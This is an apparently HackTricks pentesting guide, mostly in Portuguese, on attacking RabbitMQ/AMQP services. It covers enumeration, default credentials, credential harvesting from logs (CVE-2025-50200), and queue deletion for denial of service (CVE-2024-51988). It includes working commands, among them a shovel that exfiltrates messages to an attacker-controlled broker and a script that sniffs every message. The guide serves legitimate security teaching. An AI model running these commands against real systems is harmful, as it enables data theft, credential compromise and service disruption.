5671,5672 - Pentesting AMQP

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

De cloudamqp:

RabbitMQ is a message-queueing software also known as a message broker or queue manager. Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.
A message can include any kind of information. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.
Definition from .

Porta padrão: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Credenciais padrão: guest:guest. O RabbitMQ restringe essas credenciais ao localhost através de loopback_users, mas muitas imagens Docker/IoT desabilitam essa verificação, então sempre teste o login remoto antes de assumir que está bloqueado.
  • Mecanismos de autenticação: PLAIN e AMQPLAIN estão habilitados por padrão, ANONYMOUS é mapeado para anonymous_login_user/anonymous_login_pass, e EXTERNAL (x509) pode ficar exposto quando TLS está habilitado. Enumere o que o broker anuncia para saber se deve tentar password spraying ou certificate impersonation depois.

Enumeração

Manual

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Depois de autenticado, dump conn.server_properties, conn.channel_max e conn.frame_max para entender os limites de throughput e se você pode esgotar recursos com frames de tamanho excessivo.

Automático

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

Verificações TLS/SASL

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

Isso leaks a cadeia de certificados, as versões TLS suportadas e se mutual TLS é necessário.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Útil uma vez que você obtenha acesso shell low-priv ao host.

  • Spot ANONYMOUS logins: se o broker permitir o mecanismo SASL ANONYMOUS, tente conectar com username/password vazios; RabbitMQ internamente mapeará você para o anonymous_login_user (padrão guest).

Brute Force

Dicas de Exploração

Exclusão de filas sem permissão configure (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (e builds Tanzu sem patch) falham em verificar a permissão configure quando filas são excluídas via HTTP API. Qualquer usuário autenticado com acesso ao vhost alvo pode nuke filas arbitrárias mesmo que tenha apenas direitos read ou write.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combine isso com rabbitmqadmin list permissions para encontrar vhosts onde seu low-priv user tem acesso parcial, depois wipe queues para induzir denial of service ou acionar compensating controls observados no lado AMQP. Consulte 15672 pentesting para mais endpoints HTTP API para encadear com este bug.

Coletar credenciais dos logs do RabbitMQ (CVE-2025-50200)

Até 4.0.8/4.1.0, ao acessar a management API com HTTP basic auth em um recurso inexistente, o broker passa a registrar todo o cabeçalho Authorization (base64). Se você obtiver acesso limitado ao sistema de arquivos (ex.: Docker escape, plugin RCE), procure em /var/log/rabbitmq/rabbit@*.log por Authorization: e recupere credenciais de outros tenants ou service accounts.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Dispare isso intencionalmente com endpoints falsos para plantar novos segredos nos logs, então faça pivot reutilizando as creds decodificadas via AMQP, STOMP, MQTT ou pelo próprio OS.

Arme o rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) é um CLI autocontido que conversa com a API de gerenciamento e agora é distribuído com builds estaticamente vinculadas para Linux/macOS/Windows. Coloque-o na sua bounce box e crie scripts:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Como a ferramenta suporta health checks compatíveis com blue/green, você também pode abusar de rabbitmqadmin health_check port_listener --port 5672 para confirmar remotamente se TLS listeners foram expostos ou para manter o serviço ocupado com probes de temporização.

Message hijacking/sniffing

Se você encontrar políticas permissivas (.* bindings, topic exchanges, ou x-queue-master-locator = min-masters), você pode silenciosamente sifonar mensagens sem deletá-las:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Altere a routing key para audit.# ou payments.* para focar em fluxos sensíveis, então republice mensagens forjadas invertendo os argumentos de basic_publish — útil para replay attacks contra microserviços downstream.

Outras portas do RabbitMQ

Em [https://www.rabbitmq.com/networking.html] você pode encontrar que rabbitmq usa várias portas:

  • 1883, 8883: (MQTT clients sem e com TLS, se o MQTT plugin estiver habilitado. Learn more about how to pentest MQTT here.
  • 4369: epmd, um serviço de peer discovery usado pelos nós RabbitMQ e ferramentas CLI. Learn more about how to pentest this service here.
  • 5672, 5671: usado por clientes AMQP 0-9-1 e 1.0 sem e com TLS
  • 15672: clientes do HTTP API, management UI e rabbitmqadmin (apenas se o management plugin estiver habilitado). Learn more about how to pentest this service here.
  • 15674: clientes STOMP-over-WebSockets (apenas se o Web STOMP plugin estiver habilitado)
  • 15675: clientes MQTT-over-WebSockets (apenas se o Web MQTT plugin estiver habilitado)
  • 15692: métricas Prometheus (apenas se o Prometheus plugin estiver habilitado)
  • 25672: usado para comunicação inter-nó e com ferramentas CLI (Erlang distribution server port) e é alocado a partir de um intervalo dinâmico (limitado a uma única porta por padrão, computado como AMQP port + 20000). A menos que conexões externas nessas portas sejam realmente necessárias (por exemplo, o cluster usa federation ou ferramentas CLI são usadas em máquinas fora da sub-rede), essas portas não devem ser expostas publicamente. See networking guide for details. Apenas 9 dessas portas estão abertas na internet.
  • 35672-35682: usados por ferramentas CLI (Erlang distribution client ports) para comunicação com os nós e são alocados a partir de um intervalo dinâmico (computado como server distribution port + 10000 through server distribution port + 10010). See networking guide for details.
  • 61613, 61614: STOMP clients sem e com TLS (apenas se o STOMP plugin estiver habilitado). Menos de 10 dispositivos com essa porta aberta e na maioria UDP para nós DHT.

See also

4222 Pentesting Nats

Shodan

  • AMQP

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks